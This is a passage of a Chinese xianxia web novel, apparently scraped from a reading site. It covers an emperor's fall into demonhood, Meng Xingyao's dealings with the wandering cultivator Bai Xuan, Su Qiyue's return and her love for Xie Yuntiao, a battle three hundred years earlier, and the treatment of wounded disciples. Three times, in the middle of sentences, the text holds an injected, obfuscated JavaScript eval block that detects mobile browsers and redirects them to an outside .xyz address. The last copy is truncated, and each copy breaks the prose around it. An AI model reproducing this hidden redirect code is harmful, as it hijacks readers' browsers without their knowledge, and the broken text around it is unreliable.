在东荒立足后,收复当年故土变成了天界共愿。 无极帝君黎煊适时发起的西征大计,实为众望所归,民心所向。故而众仙门子弟,无往不利,越战越勇。 如此威压之下,恶妖魔修四散溃逃,终于在暖阳天晴,万里无云的一天,天界收复了昆仑旧神墟。 那一日,无极帝君黎煊在众人的殷切目光之中走上重重玉阶,玉阶之下,埋着无数仙修神裔的山河之恨、泪海愁思。 他披风扬袍,落座于旧神座之上,初升的朝曦落在他的脸上,描摹出他平凡却威严的五官。 他目露慈悲,望向底下俯跪的众生,嘴角还残留淡淡笑意。 似是天光刺目,他一边抚摸着神座扶手,一边轻轻抬手挡住了双眸。 再睁眼时,他的瞳孔比无尽的夜还要深、还要浓。 ——无极帝君黎煊,至此,堕入无间魔道。 天界尚未沉浸在喜讯中多久,接踵而来的便是西征大计虚有其表的假象。 实际上,早已变成黎煊联合魔域对太微七曜及五大仙宗的围剿。 他亲手赐予他们七曜之称,却又亲手夺下。 好在长昀及时发现,亡羊补牢。 而黎煊和魔修大军里应外合,谋划着埋葬天界十万精英的苍鹿野之战最终也成为了他的坟冢。 谢云迢和孟星遥拼死血战群魔,救下楚沧玉等人,一身新伤旧痕赶至现场时,映入眼帘的是遍体鳞伤的长昀被本命法宝千钧死死相护,躺倒在地。 而他的身侧,是两具缠杀在一起的尸体。 孤山春的妹妹孤山雪舍身取义,为姐报仇,刺死黎煊于苍鹿野的古战场,也被他一掌拍碎头颅而死。 恰是三月初春,苍鹿野遍地的梨树开了花,风吹如雪。 无声地埋葬了这里一地的血海与罪孽。 随之而来的,是关于黎煊为什么会堕魔的无数风言风语。 毕竟上位者的辛秘与八卦向来是经久不衰的话题。 有说是他斩杀魔祖后被他设计附身陷害了,有说是他本就急功近利,想学魔尊之流将天界变成自己的一言堂,最终因执念入魔,也有说他是因爱重春而不得,因爱生恨,证据就是重春和他的感情人尽皆知,却转头准备嫁给长昀。 但无论如何,一切皆已成定局,失去了闻衍声的云湫仙岛和失去了重春的琅华仙谷自此萎靡,楚沧玉被迫养伤,重霄神宫亦受损严重。 除却早已子弟凋敝的老牌仙府天玄外,看似受害最少的归明仙府成了最终的幸存者,并自此成为翘首,风光无限。 而五十年前,现任天帝长泽帝君璩归元重启西征令,由仙首楚沧玉执掌衡天盟,率领以五大仙门为首的十方仙洲剑指西荒。 誓要继续收复故土,扩大边疆,将妖魔余孽彻底征服。 在这样的讨伐下,西荒的妖兽魔修虽奋力抵抗,但也有为求生计举家逃遁的。 或许最危险的地方就是最安全的地方,偷偷隐姓埋名逃来东荒的也不少。 但这些不是飞雪剑宗放着这里有这么一大处妖窟没发现的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884463|172938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理由。 云凌城地处三山交界,本就敏感,五年前已经出过失踪案,孟星遥可不想接到衡天盟的责令。 虽然负责背锅的会是谢云迢。 孟星遥伸手画了个圈,长明灯悠悠地往山谷和云凌城中间飞去,以山谷为中心,画出一道宽阔的结界,以封闭这处地方。她说:“我会派人来处理这个的,你不用操心。” “你是要直接将它们铲除吗?” 真是个奇怪的问题。孟星遥答:“斩妖除魔,天经地义。” “但不是所有的妖族都是魔修,也不是所有的妖族都害过人。”白玹眉头微蹙,“也许有其他更两全其美的方法呢?” 男人的相貌很是年轻,可望向山谷时目光深深,看不见底。 孟星遥本不想理他,可瞥向他时,忽然觉得他怅惘的神情如此熟悉。 有那么一瞬间,她想起了叶韶景,又或者是其他更久远的往事。 于是她耐了些性子回答:“你虽为仙修,但常年周游四海,未被天界招揽,自然与我所思不同。此间妖兽大半沾染魔气,又有伤人迹象,且非我族类,其心必异,自当斩草除根,断不可留。” 这话说得在理,但落在人耳里又有些道不明的讽刺。 东荒仙宗子弟以在天界任职,守护人间为责,和闭门修炼,四处寻宝,偶尔出山搏个门客之位来维持名声和礼遇的散修是两类人。 “非我族类,其心必异,”白玹望着山谷,神色不明,“上仙此话,言之有理。” “你若是觉得残忍,”孟星遥说,“待看见我归明子弟的尸体,只会觉得它们更残忍。” 白玹笑了笑:“那是当然。我只是一时钻了牛角尖,斩妖除魔,确实是天经地义。” 话音落下时,长明灯也已布置好了结界。孟星遥收回法器,看向白玹:“此间事毕,你除魔有功,我暂且放你自由,可你若有二心,这捆仙索即刻再次缚你。” 她双指一点,白玹双手上那条捆仙索便隐去了身形。 “好说,好说,理解的。”白玹颇为懂事地点点头。 孟星遥懒得理他,从袖中掏出了一张符咒,那黄符无火自燃,在空中泛起一圈五彩的波纹。 这是归明仙府的传送法阵。 薄山离清衡山的距离并不短,以她的修为,用尽全力御风飞行,也得要飞上一日的时间。 但是用传送符,也就一刻钟的事。 孟星遥飘然落下的时候,白玹也紧随其后地出现,轻摇扇子,发辫轻扬,礼貌微笑地看着她。 这人确实不简单。 最简单的试探来自最直白的方法。传送符虽然快,但使用人的修为不同,速度也不同,她未曾护法,白玹若修为与她差距过大,乘坐之后必然头晕目眩。 不是现在这般还能悠哉游哉地四处打量着归明仙府的山门。 能接住她的杀招,又不惧她威压,还能在除魔时抗住魔蛟一击,此刻还能轻松跟上,修为定然不似他表象这般普通,至少也是真仙一列。 可散修何曾有过这号人物?不过大荒地大物博,早年间寻求自由云游四方不受仙位的散修真仙确也有过一些。 孟星遥踏进宗门,见到来接她的仙侍,吩咐道:“给这人安排一间客房,清净一些的,嗯……安排在西水阁吧。” “我未曾辟谷,还劳烦小仙子替我弄点上好的吃食。”白玹挤了过来,一双狐狸眼似笑非笑,对小仙侍柔声道,“可否再安排些热水,我一路劳顿,欲涤尘埃,舒缓筋骨。” 他正经一开口,嗓音如高山清泉,滴落玉盘,清脆好听。 小仙侍腼腆地看了他一眼,面上微红,又瞅了瞅孟星遥。 孟星遥点了头:“去给他安排吧。” 小仙侍得了令,做了个手势,便领头往西水阁的方向飞去。白玹临走前,转身对孟星遥行了一礼:“多谢上仙款待,接下来的日子,多有叨扰。” “无妨,你有事吩咐他们就行。” 他眨眨眼,顺坡而下:“真的?那我可不客气了。” 真是自来熟,明明是被她抓来看管的,反倒一副做客姿态。 她扯了扯嘴角,露出一抹冷淡又不失礼貌的微笑。 待人消失在视线里,她探入乾坤袋,摸出三闲。 未曾有错,这一路上,它的确一直在泛着微弱的光芒。 真奇怪,自叶韶景走后将近三百年,她是第一次见它有所反应。 但思考一番,她还是将三闲放回乾坤袋,起身往百药宗的方向飞去。 眼下还有更重要的事要做。 25.白 玹(4) 百药宗是距离归明仙府最近的宗门,有一部分甚至就在清衡山内,另一部分则坐落在兰幽谷,两者相连处,是斗崖天堑旁的小翠竹林。 孟星遥从前门动身,正好穿过前殿诸多楼宇。 池苒先她一步回来,已经将受伤弟子抢先带回来安置救治。 但伤者如此之多,百药宗医修想来也是人手不够,也不知现在情况如何,白芷她们是否忙得过来。 她一路思考,不知不觉飞了半晌,忽而脚步一顿,觉得有些奇怪。 今儿宗门格外安静,只偶有几个弟子经过。原本这点应当点灯如昼的东曜阁处,此刻也是安安静静,人都不知道去哪儿了。 她环顾四周,最终目光落在长云峰处,那边隐约有人声传来,好生热闹。 真奇怪。 九曲山幽水冥虺杀人夺魄及三十六宗弟子受害一事事发突然,影响甚大,未有她的准许,池苒等人肯定先按下消息,小心行事。 但这么大的事,即便明面上未曾公布,私下的消息肯定也压不住。 宗门内能这么安静,说明注意力暂时都被另一件事吸引走了。 长云峰的方向,并不是只有长云峰,离它最近的,还有一处,名叫邀月崖。 那是苏祈月曾经的住处。 她轻轻调转方向,转瞬飞至邀月崖外。 果不其然,那尘封多年的水镜阁,此刻正门庭若市。 此时已经戌时二刻,天光淡去,夜幕渐深,但顾玄明、庄越风、蔺沉光、崔少衡等,凡是宗门内有头有脸的,皆聚在此处。 水镜阁布局瑰丽奢靡,一如长云峰的松篁院。危梦之爱收集世上一切至美至洁之物,所居之处也必然瑶台琼室,美轮美奂。 身为他的胞姐,苏祈月自然不相上下。 孟星遥自诩见多识广,但每次过来这姐弟两的地盘,却也总忍不住叹为观止。 当年她未曾经手,也不知弄成这般,到底得浪费多少钱。 在水镜阁后方,有一处大露台,名唤望月台。远远望去,阁楼玉台高悬月下,其下是十数湾呈阶梯状布列而下的碧蓝色灵池,以玉石雕砌,灵池内有温泉,腾起袅袅仙雾,映照繁花琼树,美不胜收。 孟星遥莲步轻点,无声地落在望月台之上。 走进去的那一刻,她迟疑了一下,还是隐去了自己的身形。 望月台上正对明月的,是一间雕梁画栋,飞檐入云的六角屋阁,装点着与圆月相应的,雕刻精美的月亮门,缀着层层叠叠的薄纱幔帐。 碧色的鲛绡素来珍贵,此处却不惜工本地点缀满屋。 若不是将近三百年未有人迹,这般一尘不染,维护如初的楼阁殿宇,她会以为,她从来没离开过。 微风吹动,拂起绡幕漫漫。 这里的结界自然挡不住她,她跨过门槛,往里走去,不稍片刻,果然看见了危梦之和谢云迢。 而软榻之上,是很久没见的那个女人。 虽然两人皆是名动三界的美人,实则是截然不同的两种风情。 一冷一暖,一远一近。 千差万别。 此刻,很久不见的苏祈月身着淡紫长衫,正静静依靠在危梦之的怀里,她长相本就柔和清丽,被无上至洁至纯灵气滋养了三百年,美貌更甚当年。 青丝如墨拢至耳畔,缀着紫色的鸢尾发坠,灵动柔美。 又因她病弱苍白,更多了几分惹人怜爱的味道。 “阿姊,你身体还未恢复,既然回来了,还是该多休息,时间也不早,楼下的人我等下一起打发了回去。” 危梦之将她刚刚喝完的药碗接过,放置到一旁,又抬手轻轻替她顺气。 动作至轻至柔,如同对待一件无上珍宝。 “就是就是,大王姬你身体还未恢复,还是该多休息,你的脸色又比在沂梦川难看了许多。” 一头浅金头发的白衣少女蹲坐在她的脚边,在给她揉腿。 小姑娘年岁不大,身上却没有多少血色。唯有那一双红眼睛,像红色的玻璃珠子一般。 “辰斗,不许再学主君说话。”苏祈月开口道。 她声音不大,语气却不容置喙。辰斗原本还兴致勃勃的,一听这话,顿时如霜打的茄子般蔫了下去。 “没事,哪有那么多规矩。”危梦之笑眯眯地揉了揉辰斗的头,“辰斗长得越发漂亮了,去,那些箱子里剩下的都是今天阿姊没挑上的,有什么喜欢的首饰都拿去。” “啊!主君!”辰斗开心地想起身去抱危梦之,但碍于苏祈月在旁,还是老老实实地行了一礼,转身小跑进侧屋去。 孟星遥探头探脑地往旁挪了几步,侧屋的门半掩着,隐约能看到里面摆了几十箱金灿灿的宝贝,光华璀璨,耀眼夺目。 这还只是放苏祈月屋里的,更别提应当还有许多被收入仓库的。 “你别那么宠她,那堆珍宝都是今日沧玉表兄送来的,我不想欠他人情,还得还回去。” “阿姊,眼光要放长远点,”危梦之虽是笑着,但眼底却冰凉一片,“什么欠不欠的,左右也是他们楚家欠我们,况且楚家青黄不接,再过些年,他家那些金山玉石到底归谁也不一定呢。阿瑕儿不过是提早送来罢了。” 他此言一出,在场的两人皆蹙了眉,孟星遥也不例外。 且不论他前面大逆不道的话,光是那个称呼对现今仙首就极不尊重。 阿瑕儿是南明神族某些人儿时对楚沧玉的蔑称,因他名中有玉,又偏偏没了一只腿。 “行了,梦之。”一直未曾说话的谢云迢放下茶杯,杯子扣在桌上发出轻微声响,“就算不是你表兄,他也已是仙首,君子慎独,私下也不要太过分。” “这仙首本就不该是他,”危梦之不甚服气,但谢云迢眉宇微锁,苏祈月又拽着自己,他抿了抿嘴,叹了口气,站起身,“行吧,我不说了,楼下人还在等着,我先去送客。阿迢,阿姊好不容易回来了,别忘了答应过我什么,你当多陪陪她。辰斗,过来,跟我下楼。” “来啦。” 金发少女不谙世事,戴着一身金灿灿的首饰就循声而来,环佩叮当作响,不成规矩。 但危梦之似乎很喜欢她这个模样,十分温柔地牵着她往外走去。 两人一走,房间里也静了下来。 只是屋门阖上的那一刻,有一丝短暂又奇异的沉默弥漫开来。 苏祈月轻笑道:“梦之他这脾性一直没改过,口无遮拦,你别放心上。” “无妨。”谢云迢说,“我还不了解他吗。” 苏祈月犹豫了一下,柔声道:“其实你若是有事的话,也不用在我这边耗着,我会替你解释的。” “没事,我陪着你。”谢云迢说,“你现在想做些什么?若是乏了,我让人来帮你梳洗。” 但苏祈月却无动于衷,她静静地望着他,忽然说:“在沂梦川,梦之逼你娶我,对吗?” 谢云迢一怔。 她嘴角扯出一抹笑:“听起来不错,七曜之中若能有两星相伴,倒也是天界的一段佳话。” 房间内静悄悄的,只有晚风轻轻吹拂,拨动两人的发丝。 “但是你没同意,是不是?”苏祈月说,“哪怕我舍命救过你。” 她语气还是一如既往的温柔,仔细想来,她对他真的从来没说过一句重话,哪怕现在在质问,也如对待一件易脆的瓷器般小心翼翼。 良久,谢云迢点点头,静静地抬眸与她对视。 “你未醒时,我已和梦之许下承诺。我非忘恩负义之辈,你于我,于归明仙府皆有恩,即便某天我不在了,有归明仙府一天,也会护你余生安乐,永世不忘。” 他的语气诚恳又郑重,孟星遥知道,他绝不是说说而已,此话一出,就代表他一定会履行。 “你要我陪你,只要我有空,随时都可以。但结契这事,我还得再考虑。”谢云迢说,“我当年既修无情道,便是恩怨情仇,七情六欲,皆为镜台尘埃,天道在上,不可破戒。和我在一起,到底还会委屈你。” 苏祈月很久没说话,两个人就这么对望着。视线相交本是极为暧昧,可他的目光如此坦荡,居然产生不了半分绮念。 “确实。”她温柔一笑,“你要是因此轻松答应,反而不像我认识的阿迢,我还要失望了。你能考虑,就已经很好,也不用着急。今晚月色不错,不如你陪我赏月一场可好?” 孟星遥注意到谢云迢肩膀微微放松了下来,似乎是松了一口气。 难以想象,在战场上无往不利的战神,面对女儿情事也会如此束手无策。 “好。”他站起身,将她抱了起来,放到轮椅上,“你现在不易走动,我推你过去,让他们再送些茶点过来。” 他们看不见她,但走过来的时候,孟星遥还是下意识往屏风后面挪了几步。 身后是谢云迢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15899479|172938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推着轮椅上的苏祈月慢慢走向夜色之下的望月台。 风吹起绡幕,拂过她的脸庞。 无论两人后来私下有过多少罅隙,可这一刻,谢云迢答完那句话时,有那么一瞬,她居然有些心疼她眼里微不可察的落寞。 毕竟苏祈月喜欢谢云迢那么多年,哪怕在十方仙洲,都已经不是什么秘密。 谢云迢风光霁月,浩然正气,手执燿灵仙剑和天瑛长云戟两把神武,斩妖除魔,打遍大荒无敌手。 如此英姿,哪怕他坚守道心,清冷无情,暗恋他的女修也从未少过。 但感情一事强求不得,故而被拒绝后,大部分人也便作罢。 很少有人对一份感情能坚持如此之久,最后也分不清到底是感情,还是感动。 苏祈月被楚沧玉救回时,他早已拜入长昀神尊门下。 这也是为什么她明明是他阿姊,但排行却是师妹。 和楚沧玉重逢之时恰是她最危难之刻。栖云道上,从天而降的黑发少年手执长剑,马尾轻扬,潇洒果决,将围殴而来的妖魔顷刻之间斩杀殆尽。 鲜血溅了她满脸,她却一点顾不上,瞪大的瞳孔里倒映出的,唯有少年清俊周正的脸庞。 以及他朝她伸出的手。 但她还来不及牵上,危梦之就从另一边蹿了出来,一把抱住了她,激动不已:“阿姊!!!终于找到你了!!” “吓死我了!差点就晚了一步!”他检查完她,又兴奋地去熊抱住谢云迢,激动地狂拍他后背,“还好有你,还好有你啊!阿迢!” 谢云迢被他拍得差点喘不上气,赶忙拉开了一点,无奈至极,却也被他感染得笑容满面。 回天玄学宫的路太长,他们不得不先在野外就地露宿一晚。 夜深无眠,三人索性坐着聊天。 她缓过劲来后,想起前些年的苦难,没忍住哽咽流泪,危梦之难受得一直轻抚她安慰。 这样的乱世里,走在路边随便拉出几个人,每一个过得都比另一个更苦。 但那是她这么多年来过得最莫名安心的一个夜晚。 聊到最后,她倚着危梦之的肩膀,视线却越过篝火,落在谢云迢的身上。 他抱着剑,安静沉默,在旁边作一个合格的听众。 火光模糊了他脸庞的线条,让他的神情看起来都柔和可亲许多。 苏祈月望着他修长而骨节分明的手。 多好看的一双手,白天就是它,要过来将她拉出危险泥泞的沼泽。 没想到,只是这样的距离,隔了上千年的光阴,她都再没能真正牵到。 她见证过他拒绝太多人,所以从来都是以同门手足自居,不敢逾越半步。 她前面藏得很好,还和危梦之一起成为了他的挚友,成日出入相伴。 但爱意是藏不住的,时间一久,付出太多,是个人都能察觉出不对。 她以为只要自己不说,谢云迢便没有理由拒绝她。 但她还是熬过了很长一段时间他的疏远,恰逢天玄学宫开山入世,她被迫跟着危梦之一起回到南荒南明洲。 栖云道上初见的那个少年,她以为自己再不会见到他。 好在后来一得到他想开宗立派的消息时,她便果断说服还在犹豫的危梦之,并第一个赶到,成功靠刻苦经营成为了二把手。 光凭爱,并不能让她在他身边突出,并且长久停留。 她知道他虽修无情道,但心中也曾有过一轮凡间的天上月,她听阿遥提过,是她那为黎民而牺牲的长姐代意。 代意身着嫁衣,怀抱九歌玉璧,以身为祭,血洒烈火高墙之下,身死道消,这么多年,再无踪迹。 找不到好,找不到就说明再无机会。 而人只要动过一次凡心,再如何修炼,哪怕机会渺茫,也总还是有可能再次心动。 只要她活着,长长久久一辈子,死人怎么能和活人争呢? 果然到了后来,他俩相依相伴,终于让他习惯成自然。 她是坚持最久的那一个,他欠她太多,讲得难听一些,在这份感情里,她哪怕没有功劳,也有苦劳。 只可惜,她想要什么,他都可以给,除了爱这一字。 她仍是不信邪,还好所有的情债恩怨,一直到三百年前她为了救他身死那次,彻底到达了顶峰。 濒死之际,她终于从他向来绝情的脸上看到了一丝悲伤和后悔。 26.白 玹(5) 三百年前那场内乱,本质上来说,多少有孟星遥的责任。 和另外四个由神族建立的仙门不同,归明仙府的历史最短,从建立之初,整个宗门就是以凡人修士为主。 为了尽快立稳脚跟和扩大势力,凡人修士在修炼这块可谓是拼尽全力,卷中之卷。由此也造成了归明宗扩张成归明仙府后,座下各宗门养成互相比拼竞争的习惯和风气。 三百年前,孟星遥尚是长老首座。 自百年前黎煊入魔被斩杀自苍鹿野后,楚沧玉便升为仙首,改号为天枢,苏祈月和危梦之因除魔有功,也被新上任的长泽帝君璩归元册封为新的天璇、玉衡,填补七曜空缺之位。 彼时四大仙门式微,唯独归明仙府受损最少,一跃成为群仙之首,炙手可热。 在这般情况下,归明仙府也迅速扩张,座下的宗门也发展成了三十六个,界域亦翻了数倍不止。 但常言道国无外忧,必有内患。换成宗门也大抵皆如此。 孟星遥虽非掌门,但她本身在天盟功绩累累,又实力高超,自然掌握着不少宗门实权,有时甚至能越过危梦之和苏祈月,和谢云迢平起平坐。 众人私下皆知,其实她只是差一个虚名。 但这也因此导致了她和另外两个掌门,尤其是苏祈月之间,时常会因为各种宗门琐事而发生摩擦。 当时在仙府之中,养成了一条不成文的定律,就是三十六宗与掌门、长老之间亦有亲疏远近的区别。 是她不察,未能及时发觉当年与自己交好的,仙府排名第一的玉蕴道宗宗主柳河钰的偏执。 她以为自己私下敲打和调解多次,他也安分了许多年,应当已经放下他和排名第二的秋水宗宗主之间从凡间就结怨的私仇。 未曾想他终究还是入了魔,归明仙府奉命去围剿魔君万杀嗔罪之主邬麟风的计划,被由他带头的内奸给泄露了出去,虽然只有一半,也导致了前去的同门陷入了危难之中。 围剿方变成了被围剿方,邬麟风率领心腹在云梦泽布下血幡万杀绝阵,誓要叫归明仙府的人有来无回。 凑巧的是,原本陷入险境的人应该是她,只是那天刚好她和谢云迢临时改了计划,改为由她带人绕后去偷袭邬麟风的老巢。 听说当时候在云梦泽畔的归明仙府弟子看见谢云迢出现还很是意外,斗志越发昂扬。可这斗志还没燃过半日,就被邬麟风步步针对他们而来的打法打得阵脚大乱。 好在谢云迢还是控住了整个局面,燿灵剑凝聚万千灵气,使出名震天下的天光十一剑,那一刹地动山摇,水雾漫天,只用了五招,就打得邬麟风倒退连连。 如果一切顺利的话,对他来说,在这样一边倒的局势下,再逆转风向,也不是无可能之事。 可魔修既然是魔修,自然也不是什么光明磊落之人。邬麟风以幻境困住谢云迢,分裂出十个分身围攻,在谢云迢破出幻境直杀而来的刹那,抓出绑架来的凡间百姓,挡在了自己身前。 谢云迢下意识收势,下一刻,邬麟风的伴生法器血煞怨魂轮便飞击而来。 高手过招,胜败只差毫厘。 就在血煞怨魂轮要打入他体内的那个瞬间,有淡淡的花香裹挟着血腥味拂过鼻尖,谢云迢抬起头,映入眼帘的是苏祈月被鲜血染红,飘然坠落的身影。 他的瞳孔刹那紧缩。 原本的计划是抓邬麟风的活口,好一步步针对剩下的几位魔君。 但那时的谢云迢注定再不可能留余手。 孟星遥赶来收拾残局时,擦肩而过的是谢云迢抱着苏祈月匆匆离去的身影,以及映入眼帘的,满地魔众的断肢残骸,和归明仙府部分长老与弟子的尸体。 风里传来弟子隐忍的哭声,她的衣衫也染满了尘埃和血迹,脏得看不出原本的颜色。 这是归明仙府有史以来,打得最狼狈的一场战。 其实她带人杀到千灵殿的后山,和诸多魔将大战之时,看到柳河钰的瞬间,已经意识到发生了什么。 柳河钰知道自己犯下大罪,以身入魔,献祭血魂,率领众魔殊死抵抗,面对旧日同门,处处设下的都是一步踏错便万劫不复的死局。 直到被捕之时,他仍在仰天长笑,未等她动手,便自毁在了邬麟风的宫殿里。 只留下了满地狼籍之中,他无助哭泣的妻儿,以及被他背刺的,曾算是同门与朋友的人们。 多么没用的男人,对他而言最坏的结局,竟不过是一死了之。 邬麟风的尸体被大卸八块,已经看不出原本的样子。孟星遥拼凑了很久,最后用十颗锁魂钉钉入他的尸体,再以长明灯布下降魔阵法封印。 他死得不久,魂魄离不开太远,想追杀并不难。 灯火燃烧起来的时候,池苒为她披了一件披风。 夜深风大,她也受了伤。幸运的是,池苒这次没有跟着去云梦泽,而是被留在归明仙府镇守。 为孟星遥提拔的计划提了很久,但一直没定好一个合适的位置,却没想过居然是以这样一个办法再也不用为难了。 没人觉得苏祈月能活下来,所以她被送至南荒吟月台抢救的同时,提拔孟星遥接任二掌门之位的掌门任令也交到了她的手上。 谢云迢全程没有什么情绪,离开的时候,她只听见他淡淡地说了一句:“挺好的,这样一切合规,也不用怕委屈了你。” 她低下头,只觉得这小小的掌门令,竟比她当年在天界太微殿万众瞩目之下受封七曜之礼还来得沉重。 而她去吟月台想探望苏祈月时,恰好碰见了一身伤病的危梦之。 孟星遥其实在外站了很久,久到恰好能听见危梦之撑着伤体怒斥谢云迢。大意便是他的姐姐生死未定,被她以命相救的人居然就如此轻易把她最为珍视的东西交了出去。 “谢云迢,”他咆哮道,“我们姐弟俩到底欠了你什么?” 回答他的只有谢云迢无尽的沉默,以及一句沉重的对不起。 而谢云迢前脚刚从院中离开,她便进去了。 看见她,危梦之愣了一下。不过一瞬他便明白她听见了那些话,下意识想解释,或是挽回点什么,可他迟疑了半晌,最终还是偏过头去,什么也没说。 其实他俩都不太明白,两个人为何会走到如今这个地步。 谢云迢请了很多医修大拿留驻归明仙府和吟月台,他身上的伤,可以不用她这个半路出家的大夫来看。 但孟星遥还是强制为他施法疗伤,只因她的手沾过危梦之的血,他的肩头至心口处有一道宽大的狰狞伤口,是她亲手在千灵殿里打伤的。 邬麟风当年不仅绑架凡人,连仙门弟子也无法幸免于难,凡是被他围猎到的人,不肯降服者,被当场诛杀,降服者则被关押进千灵殿的地下熔岩监狱,等着日后被投入地下流淌的,用来维持整个千灵殿魔气运作的鬼哭山血海。 整座千灵殿血气弥漫,鬼气森森,连吹来的风声都带着凄惨哀伤的呜咽。 他们准备围剿邬麟风的前夕,偏偏又有几位弟子落入了魔修的圈套。而这群人里,恰好有叶韶景,他为救弟子以身入道,被一起绑到了千灵殿里囚禁。 这也是为什么孟星遥会在临行前和谢云迢突然更改了计划。她得知消息,急着要去亲自救他,所以谢云迢同意了。 原本一切顺利,那时她和危梦之的关系总算缓和了许多,甚至路上闲谈时,还能说笑两句。 那时他们没有想到,不过三个时辰后,孟星遥的手掌便会携带千钧罡风之力,重重地打在危梦之的胸口,让他连退十尺跪倒在地。 危梦之抬起头,映入眼帘的,是孟星遥难以置信地从废墟之中将死不瞑目的叶韶景抱起,而他的心口,正插着他的幽花剑。 他误杀了他,原本这把琴中剑,应当彻底结束旁边那只在邬麟风手下作恶多端,此刻正魔气弥散,濒死之际的蓝瞳苍狼大妖的生命。 但叶韶景这个废物,这个废物,他为什么? 为什么莫名其妙地冲出来,要出来替它挡下? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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因为被孟星遥所伤,危梦之虽然最后平安无事,但短时间也伤势难愈,后来又强渡雷劫,修为大损,本来距离上仙就临门一脚,却不得不闭关养伤,很少出来。 恩怨交错之中,他俩的关系也就此跌入冰点,再无回转余地。这一来三百年,私下再无任何交集。 谁都没想到最后的结局,竟然变成是她彻底重权在握。转眼宗门之中,就只剩谢云迢还能与她相抗衡。 升任掌门,本该有专属的任命礼,她顾及宗门情绪,所以规格礼仪也一切从简。 其实也轮不到她不从简,这一战让归明仙府元气大伤,死伤惨重,整座清衡山都被哀恸之情所笼罩。 而她升任后的没多久,便趁着众人这股仇恨的情绪皆在,彻底整顿三十六宗的内部风气,顺藤摸瓜,抓捕残留内奸。 她风格本就雷厉风行,和苏祈月截然相反,又夹杂着她当时无尽的委屈和愤怒。 谢云迢和危梦之等人在吟月台一边治伤,一边试图复活苏祈月的时候,三十六宗则正在她的手下被极尽管教。 这其中,有的宗门趁势而起,比如后起之秀清河道宗,也有的宗门备受摧残,最首当其冲的便是失去了苏祈月庇护的飞雪剑宗。 也不怪孙满榕一提起她便咬牙切齿,恨不得能取而代之。 一想到她,孟星遥嘴角露出一抹微不可察的笑意。 想必这丫头现在应当已经把那修为吸纳了吧,也不知道这仙法浩荡,她能不能受得住。 望月台上,仙侍们已经端上了精巧可口的茶点和仙果。 今夜温度宜人,微风袅袅,夜风拂面时会带来爽快的凉意。 的确是个赏月观花的好夜晚。 谢云迢和苏祈月坐于一处,闲谈慢聊。远远望去,月影朦胧,背影成双,很难不说是一对佳偶天成的璧人。 孟星遥莲步微挪,拂袖离去,好心地让望月台上的两人再享受一段宁静美好的花前月下,自己则继续往百药宗动身。 三十六宗被抢救回来的弟子还在那边等她,想来最多到天亮,这个消息也该传得众人皆知了。 27.殿上风波 比她想得更早,四更刚到,夜色最浓时,谢云迢就出现在了百药堂。 自从苏祈月出事后,他就不太常来这儿。但守在外面的看门弟子看见他,却并不意外,恭恭敬敬行礼之后便引他进去。 一看就是孟星遥吩咐过的。 穿过重重庭院,房门一推开,便是浓厚的血腥味扑面而来。 正好有弟子从里面捂着嘴冲出,顾不得冲撞到人,跑到一旁呜哇哇地吐了一地。 谢云迢脚步一顿,微微蹙眉。 百药宗的无恙堂原本就是最大的屋舍,此时挪开杂物,腾出了中间非常宽敞的场地,摆满了临时的床铺,一行十六,共摆了五行。 即便如此,也只是堪堪够用。 幽水冥虺本身含有剧毒,这只又已破境为蛟,修为压制加上魔气感染之下,即便已是灵窍境弟子,被它咬上一口也是难以招架。 受伤的弟子太多,而且情况各不相同,百药堂的医修弟子忙得脚不沾地,也难以顾全。 从昨天傍晚池苒他们回来开始,三十六宗其他凡是修习过医术的地元境以上弟子,全都被紧急召来百药堂帮忙。 无恙堂的侧院,也铺了临时的床铺,但里面摆放着的是已故弟子的尸体,血肉翻涌,四肢不全,共有三十二具,是已命陨神消。 饶是他见多识广,此情此景,依旧觉得惨不忍睹。 但还是有弟子在轻轻擦拭和修补他们受损的□□,药香清冽,谢云迢只看一眼就明白,是因为孟星遥还没放弃。 九天长明灯的法境共有三十三重,每三重对应一魄,学至二十一重后,每四重对应一魂。 孟星遥已经学至二十九重,寻常修士,凡有一丝游魂尚在,都能让她救回来。 他抬步往里屋走去。 里屋布了八门守灵阵,以八门为方位布法结阵,八方灵气凝聚不散,形成一圈泛着青色微光的屏障。 池苒带着白芷、泽兰等百药宗宗主及长老,守护八个方位。 而孟星遥坐镇中央,正扬手施法,九天长明灯点亮了三盏,正以灵气渡化修补锁魂囊中十三名被炼化弟子的魂魄精元,好让他们回到屋中摆放好的十三具尸体上。 这次救人比她预想得还要花时间和精力。 幽水冥蛟对归明仙府的人自然是当作食材,下了狠手。 偏偏这次它挑选的还都是灵窍境以上的弟子,修为越高,受伤越严重,反而越难救回原本的模样。 肉身被它咬上一口,或是扫上一尾,拍上一掌的,缺个胳膊少个腿是家常便饭,多的是被对半拍开,只剩半截身子的,甚至还有惨变肉泥的。 魂魄被打散个一魂二魄的,都能划为轻伤。 最惨要数快被它炼化的,三魂七魄粘连成一个团子。 这是个精细活,孟星遥只得亲自动手,又掐又捏了半天才能勉强分开,见个人形。 